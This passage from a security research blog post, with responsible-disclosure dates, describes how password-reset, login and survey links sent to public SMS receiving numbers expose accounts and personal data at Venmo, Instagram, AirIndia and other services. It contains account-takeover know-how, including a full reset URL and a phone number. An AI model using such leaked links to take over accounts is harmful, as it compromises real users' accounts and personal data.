style="text-align:center">✅</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#ups-scam">UPS Scam</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> <td style="text-align:center">❌</td> </tr> <tr> <td><a href="#payfone">Payfone</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> </tr> <tr> <td><a href="#validahealth">Validahealth</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> </tr> <tr> <td><a href="#experian">Experian</a></td> <td style="text-align:center">N/A</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">❌</td> <td style="text-align:center">✅</td> </tr> </table> <hr/> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_1.gif-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_1.gif-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_1.gif-1400.webp"/> <img src="/assets/img/publicsms_results_1.gif" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h5 id="venmo">Venmo</h5> <p>According to Wikipedia, Venmo is an american company owned by PayPal with approximately 70 millions users in 2021. This is some sort of banking application that allows users to send payment to their friends and to manage their business revenues, which makes it a sensitive business application. There is only one message pattern sent from Venmo to its users, and it looks like this.</p> <blockquote> <p><i>Reset your Venmo password: <a href="https://venmo.com/account/password-new?utm_medium=phone&amp;reset_key=40b11eeecc001f5a6d2cc4f40eae408c7bc953f11478eb028032c4f86">https://venmo.com/account/password-new?utm_medium=phone&amp;reset_key=40b11eeecc001f5a6d2cc4f40eae408c7bc953f11478eb028032c4f86</a></i></p> </blockquote> <p>When navigating to the URL, no other information than just setting a password. In this case, an attacker could reset the password and then what?</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_venmo_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_venmo_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_venmo_1-1400.webp"/> <img src="/assets/img/publicsms_results_venmo_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="impact">Impact</h6> <p>Well, as you can see on the picture, the phone number can be used as the identifier to login into the application.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_venmo_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_venmo_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_venmo_2-1400.webp"/> <img src="/assets/img/publicsms_results_venmo_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>This scenario typically involves a <b>race condition</b> for the attacker to compromise the account, because the link may expire, and because the legitimate user may reset their password before the attacker does. Also, when the link expires, it is still possible to navigate to the URL and set up a password. Obviously this won’t work, but it is a waste of time from an attacker perspective.</p> <h6 id="responsible-disclosure">Responsible disclosure</h6> <p>02/05/2024 - Issue reported.</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="instagram">Instagram</h5> <p>Instagram is very similar to <a href="#venmo">Venmo</a>, which seems very exciting at first glance. I detected this simply because there were a lot of Instagram shorten URLs <i>e.g.</i> <a href="https://ig.me/0123456789abcdef">https://ig.me/0123456789abcdef</a>. This kind of URL is not necessarily sensitive and may for instance redirect to a simple public picture hosted on <a href="https://instagram.com/">https://instagram.com/</a>. You can use a simple Google dork like <code>site:ig.me</code> to get shorten URLs and get redirected to any kind of Instagram content.</p> <p>About Instagram SMS collected, navigating to those URLs would redirect to an Instagram error page displaying something like <i>The URL has expired</i>. I needed to dig deeper, created an Instagram account, and triggered a password reset procedure using a temporary phone number. Then, I was able to confirm that these URLs would allow an opportunistic account compromise. The text messages received look like these.</p> <ul> <li><code>Tap to reset your Instagram password: <a href="https://ig.me/1ZZOeHuLUwa4Ttq">https://ig.me/1ZZOeHuLUwa4Ttq</a></code></li> <li><code>Instagram link: <a href="https://ig.me/r6LPOYK87HRyT73">https://ig.me/r6LPOYK87HRyT73</a>. Don't share it.</code></li> </ul> <p><br/></p> <p>When navigating to those URLs, and based on the message pattern received, we are redirected to different web pages.</p> <h6 id="redirection---first-case">Redirection - First case</h6> <p>In the first case, we can just skip the password reset and be logged in as the user <i>i.e.</i> the URL gives direct access to the account. I actually rarely saw this behavior and I have no screenshot for now.</p> <h6 id="redirection---second-case">Redirection - Second case</h6> <p>In the second case, we must complete the password reset procedure, and then authenticate to the account with the phone number and password just set.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_instagram_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_instagram_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_instagram_2-1400.webp"/> <img src="/assets/img/publicsms_results_instagram_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="redirection---third-case">Redirection - Third case</h6> <p>In the third case, the account is locked, but we can still retrieve the username, either by analysing source code or by clicking on the top right menu icon. This may be used for OSINT and CTI.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_instagram_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_instagram_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_instagram_3-1400.webp"/> <img src="/assets/img/publicsms_results_instagram_3.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_instagram_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_instagram_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_instagram_4-1400.webp"/> <img src="/assets/img/publicsms_results_instagram_4.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="redirection---fourth-case">Redirection - Fourth case</h6> <p>In the fourth case, the URL has expired or was used.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_instagram_5-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_instagram_5-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_instagram_5-1400.webp"/> <img src="/assets/img/publicsms_results_instagram_5.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><br/></p> <h6 id="impact-1">Impact</h6> <p>A common intuition would be that one Instagram account is associated with one phone number. Thus, if a Public SMS Service provides a hundred phone numbers, an attacker could only compromise a maximum of a hundred user accounts. Actually, this is wrong. I observed that for a given phone number, multiple Instagram password reset URLs were received, leading to different user accounts. This seemed irrelevant to me. After some testing, I observed that it is <b>not possible to register</b> a new Instagram account with a phone number <b>when the phone number is already used</b> by an existing account. However, it is possible to <b>edit</b> the contact information to add a phone number.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_instagram_6-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_instagram_6-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_instagram_6-1400.webp"/> <img src="/assets/img/publicsms_results_instagram_6.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>Imagine that Instagram has a user <code>jdoe@email.com</code> registered with <code>+4591457271</code>. If this user triggers a password reset, a text message will be received on the Public SMS Service hosting this phone number, and the account could be stolen. Now, imagine that a new user creates a new account with an email address <code>leoagata@proton.me</code>, and then edit their contact information and set their phone number to <code>+4591457271</code>. The immediate consequence is that this phone number will be removed from <code>jdoe@email.com</code> account. Now, if <code>leoagata@proton.me</code> triggers a password reset, a text message will be received on the Public SMS Service hosting this phone number. This means that we can receive multiple passwords reset URLs from different user accounts on the same phone number. The following example shows two SMSs received in a 10 min timeframe, with two different URLs leading to two different user accounts, received on the same phone number.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_instagram_7-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_instagram_7-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_instagram_7-1400.webp"/> <img src="/assets/img/publicsms_results_instagram_7.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>In the end, it is not possible to create an Instagram account with those virtual phone number, because all of them are already used. This makes Instagram account compromise possible in a very specific case where a user edits its information to provide one of those virtual phone numbers, then triggers a password reset. This would probably lead to testing accounts compromise only.</p> <h6 id="responsible-disclosure-1">Responsible disclosure</h6> <p>When reporting this behavior to Instagram, I was told that Instagram won’t do anything about those phone numbers, although it would be very simple to implement a blacklist feature in my opinion.</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="biedronka">Biedronka</h5> <p>According to Wikipedia, Biedronka is the largest chain of discount shops in Poland, with 70,000 employees and a nice 11B€ revenue in 2019. Messages received from Biedronka look like this.</p> <ul> <li><code>Link do zmiany hasła https://bdr.page.link/S8CpNMGEgdUjL41B6 ważny 5 minut</code></li> </ul> <p>Yes this is Polish, and it means <code>Link to change password https://bdr.page.link/S8CpNMGEgdUjL41B6 valid 5 minutes</code>. If you’re not familiar with <code>page.link</code>, this is a Google Firebase feature that was designed a few years ago to set up easy to share URLs that handle redirections (see <a href="https://firebase.google.com/docs/dynamic-links/create-manually">Google documentation</a> for more details).</p> <p>Anyways, navigating to the URL would lead this page, inviting user to reset their password, and of course we are able to login with the phone number and password we just set.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_biedronka_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_biedronka_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_biedronka_1-1400.webp"/> <img src="/assets/img/publicsms_results_biedronka_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>Another way to compromise a user account is simply to download the mobile app, and enter the targeted public virtual phone number. Then a message is received on the Public SMS Service hosting that virtual phone number, providing a code. Based on the phone number country <i>e.g.</i> German phone number, the SMS showned on the picture may be cropped, and the last digit must be “bruteforced”, which is possible since the number of tries seems to be unlimited.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_biedronka_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_biedronka_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_biedronka_2-1400.webp"/> <img src="/assets/img/publicsms_results_biedronka_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_biedronka_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_biedronka_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_biedronka_3-1400.webp"/> <img src="/assets/img/publicsms_results_biedronka_3.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>Finally, I took a look at the application and analysed its HTTP traffic to see if the 6 digit code could be bruteforced, and luckily it can’t be bruteforced in a reliable.</p> <h6 id="impact-2">Impact</h6> <p>When connecting to a user account, there is not much to do. Of course it discloses email address when fullfilled, and maybe credit card information since Biedronka works with a partner called BLIK, but I didn’t investigate this.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_biedronka_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_biedronka_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_biedronka_4-1400.webp"/> <img src="/assets/img/publicsms_results_biedronka_4.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="responsible-disclosure-2">Responsible disclosure</h6> <p>TODO</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="job-logic">Job Logic</h5> <p>JobLogic is an Enterprise Resource Management SaaS application that provides many different services such as payment integration, jobs management, planning, and so on. Here is the message received : “Your Job has been completed Please follow the link for details https://staging-portal.joblogic.com/Portal?id=GUID.”</p> <p>Navigating to this URL directly provides access to a portal, authenticated as a user. As you noticed, this is a staging environment, which means that no real data should be found.</p> <h6 id="impact-3">Impact</h6> <h6 id="responsible-disclosure-3">Responsible disclosure</h6> <p>12/04/2023 - Issue reported <a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="free-ads">Free ads</h5> <p>Free Ads is a UK application that allows user to publish ads to sell whatever they want, for free. The service proposes a paid version for users who want their ad to have more visibility. The message received looks like this:</p> <ul> <li><code>Hi REDACTED, you have a new message, click to go to your messages &gt;&gt; https://go.freeads.co.uk/REDACTED.</code></li> </ul> <p>This URL redirects to https://my.freeads.co.uk/messages/list/all?c=REDACTED%3D%3D&amp;utm_source=message_reminder&amp;utm_medium=sms&amp;utm_campaign=message and sets a cookie session that allows to be authenticated as a user. Unlike most of these URLs, this one does not expires!</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_freeads_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_freeads_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_freeads_1-1400.webp"/> <img src="/assets/img/publicsms_results_freeads_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="impact-4">Impact</h6> <p>This URL gives full access to the user account, and enables an attacker to read/write personal information. As far as I can tell, credit card information is not stored by FreeAds since a premium account is a one time payment.</p> <h6 id="responsible-disclosure-4">Responsible disclosure</h6> <p>12/04/2023 - Issue reported</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="airindia">AirIndia</h5> <p>According to Wikipedia, AirIndia is the second-largest airline in India in terms of passengers carried, after IndiGo, as of July 2023. The text message received for Air India was the following.</p> <ul> <li><code>Thank you for flying with us. Please take a few moments to share your thoughts. To rate your experience, click: https://nps.airindia.in/rEDaCt3d -Air</code>.</li> </ul> <p>When navigating to the URL, we are redirected to Qualtrics, a SaaS solution to create various things, including surveys. In order for me to understand how it works, I created a test survey available <a href="https://qualtricsxmfx7yt665q.qualtrics.com/jfe/form/SV_57KnpcbkNjHQ6uq">here</a> that reads a URL parameter <b>Name</b> and display its value in the first question. Example with a survey for <a href="https://qualtricsxmfx7yt665q.qualtrics.com/jfe/form/SV_57KnpcbkNjHQ6uq?Name=Molx">Molx</a>, or for <a href="https://qualtricsxmfx7yt665q.qualtrics.com/jfe/form/SV_57KnpcbkNjHQ6uq?Name=Bender">Bender</a>.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_airindia_0-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_airindia_0-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_airindia_0-1400.webp"/> <img src="/assets/img/publicsms_results_airindia_0.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>With AirIndia, the issue is that all surveys include very sensitive data, including PII and also the PNR unique identifier. Or course I double checked this data using services like <a href="https://flightstats.com/">https://flightstats.com/</a>, and all of it was real!</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_airindia_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_airindia_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_airindia_1-1400.webp"/> <img src="/assets/img/publicsms_results_airindia_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>The following table shows all information disclosed by AirIndia as URL parameters.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>AirIndia disclosed data</b></caption> <tr> <th>Field</th> <th>Field description</th> <th>Raw value</th> <th>Value meaning</th> </tr> <tr> <td>PNR</td> <td>Reservation unique identifier</td> <td>REDACTED</td> <td>REDACTED</td> </tr> <tr> <td>ORG</td> <td>Origin (IATA code)</td> <td>DEL</td> <td>Indira Gandhi International Airport (DEL)</td> </tr> <tr> <td>DES</td> <td>Destination (IATA code)</td> <td>YVR</td> <td>Vancouver International Airport (YVR)</td> </tr> <tr> <td>PFN</td> <td>First name</td> <td>REDACTED</td> <td>REDACTED</td> </tr> <tr> <td>PLN</td> <td>Last name</td> <td>REDACTED</td> <td>REDACTED</td> </tr> <tr> <td>PEmail</td> <td>Email</td> <td>REDACTED</td> <td>REDACTED</td> </tr> <tr> <td>PPhone</td> <td>Phone</td> <td>447487710863</td> <td>447487710863</td> </tr> <tr> <td>FlightNumber</td> <td>Flight number</td> <td>REDACTED</td> <td>REDACTED</td> </tr> <tr> <td>FlightDate</td> <td>Flight date</td> <td>02%20Feb%2024</td> <td>02 Feb 24</td> </tr> <tr> <td>Class</td> <td>Class</td> <td>Q</td> <td>Q</td> </tr> <tr> <td>Environment</td> <td>Environment</td> <td>Production</td> <td>Production</td> </tr> </table> <p>If you ever travelled by plane, you may understand what an attacker could do right? Here is the answer.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_airindia_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_airindia_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_airindia_2-1400.webp"/> <img src="/assets/img/publicsms_results_airindia_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="impact-5">Impact</h6> <p>So an attacker can connect to the check-in web page, but what does this mean?</p> <ul> <li><b>Situation 1</b> - If the flight is in a few weeks or month, travellers are not allowed to check-in. In this situation, an attacker can’t do anything except get the list of flights related to the PNR.</li> <li><b>Situation 2</b> - If the traveller can check-in, well, an attacker could check-in.</li> <li><b>Situation 3</b> - If the traveller already checked-in, an attacker would have access to a boarding pass that provides additional information such as a Passport number or a VISA number, and can still modify information on the boarding pass.</li> </ul> <p>A curious thing is that the survey is meant to get get a feedback about reservation, check-in, in-flight meal, arrival and exit, but it seems to be sent immediately after tickets are bought <i>i.e.</i> before the flight date.</p> <h6 id="responsible-disclosure-5">Responsible disclosure</h6> <p>15/04/2023 - Issue reported</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="elilly">e.lilly</h5> <p>According to Wikipedia, Eli Lilly and Company is an American pharmaceutical company headquartered in Indianapolis, Indiana, with offices in 18 countries. Its products are sold in approximately 125 countries. People who sign up on <a href="https://zepbound.lilly.com">https://zepbound.lilly.com</a> need to register a phone number. Then, the following messages are sent.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_elilly_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_elilly_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_elilly_1-1400.webp"/> <img src="/assets/img/publicsms_results_elilly_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>First URL By navigating to the first URL (1/2), I was redirected to the following web page, allowing to access personal information such as : email address, first name, last name, signature (by accessing the signed HIPAA document).</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_elilly_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_elilly_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_elilly_2-1400.webp"/> <img src="/assets/img/publicsms_results_elilly_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>By navigating to the second URL (2/2), I was redirected to a web page allowing me to download my wallet on Apple Wallet or Google Pay. I connected to my Google account and saved the savings card.</p> <h6 id="impact-6">Impact</h6> <p>PII disclosure.</p> <h6 id="responsible-disclosure-6">Responsible disclosure</h6> <p>16/07/2024 - Issue reported 04/09/2024 - Evaluated as not applicable</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="texts-from-my-ex">Texts from my ex</h5> <p>A funny name right? The concept is also funny : this is a SaaS app where users upload a part of their conversation (WhatsApp, Messenger and so on) with their crush or ex, and an AI evaluates how compatible the two persons are. Unfortunately, I got rid of the message, so I can’t tell how it looks like, but I have a URL example :</p> <ul> <li><code>https://textsfrommyex.com/analysis/65bdREDACTED3655</code></li> </ul> <h6 id="impact-7">Impact</h6> <p>The impact entirely relies on the messages content. In the following example, the only sensitive infomation are first and last names. However, since this ‘report’ quotes the conversation, any sensitive information in that conversation could be present.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_textsfrommyex_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_textsfrommyex_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_textsfrommyex_1-1400.webp"/> <img src="/assets/img/publicsms_results_textsfrommyex_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="responsible-disclosure-7">Responsible disclosure</h6> <p>Not reported.</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="stickermule">Stickermule</h5> <p>Stickermule is a website where sticker can be bought. The message received looks like this.</p> <ul> <li><code>Items from Sticker Mule order R236623233 shipped! http://stickermule.com/orders/R236623233?token=REDACTED</code></li> </ul> <h6 id="impact-8">Impact</h6> <p>When navigating to the URL, an attacker can access shipment information <i>i.e.</i> first name, last name and physical address and the list of stickers bought. Thus, the user account is not compromised.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_stickermule_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_stickermule_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_stickermule_1-1400.webp"/> <img src="/assets/img/publicsms_results_stickermule_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="responsible-disclosure-8">Responsible disclosure</h6> <p>01/05/2023 - Issue reported</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="abinitio-solutions">Abinitio solutions</h5> <p>In the context of the received message, Abinitio solutions is a subcontractor of the Spanish Naturgy Iberia energy provider. In the following message, the user is required to pay their bills.</p> <ul> <li><code>ABINITIO INFORMA REDACTED Pulse https://abinitio-solutions.com/n.php?p=RUIzNlREDACTED para el abono de sus facturas con NATURGY IBERIA</code></li> </ul> <p>When navigating to the URL we have a bill detail with the customer personal information <i>i.e.</i> first name, last name and address.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_abinitio_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_abinitio_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_abinitio_1-1400.webp"/> <img src="/assets/img/publicsms_results_abinitio_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>When navigating to the provided URL, we are redirected to a payment page.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_abinitio_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_abinitio_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_abinitio_2-1400.webp"/> <img src="/assets/img/publicsms_results_abinitio_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_abinitio_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_abinitio_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_abinitio_3-1400.webp"/> <img src="/assets/img/publicsms_results_abinitio_3.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="impact-9">Impact</h6> <p>PII disclosure.</p> <h6 id="responsible-disclosure-9">Responsible disclosure</h6> <p>TODO</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="communidad-madrid">Communidad madrid</h5> <p>This is one of the few cases where I could discover data about the target itself. The message received looked like this.</p> <ul> <li><code>Codigo de activacion para Y5****67J: 746656. Valide su identidad y confirme su codigo en: https://registroidentifica.val.communidad.madrid/#/activacion</code></li> <li><code>Codigo de activacion para 71****17M: 340352. Valide su identidad y confirme su codigo en: https://intranet.val.communidad.madrid/#/activacion</code></li> </ul> <p>This gives the opportunity to discover additional scope about the <code>communidad.madrid</code> domain.</p> <h6 id="impact-10">Impact</h6> <p>Subdomain discovery.</p> <h6 id="responsible-disclosure-10">Responsible disclosure</h6> <p>Not reported.</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="ups-scam">UPS Scam</h5> <p>Not many things to say about this : this is a typical scam reproducing the 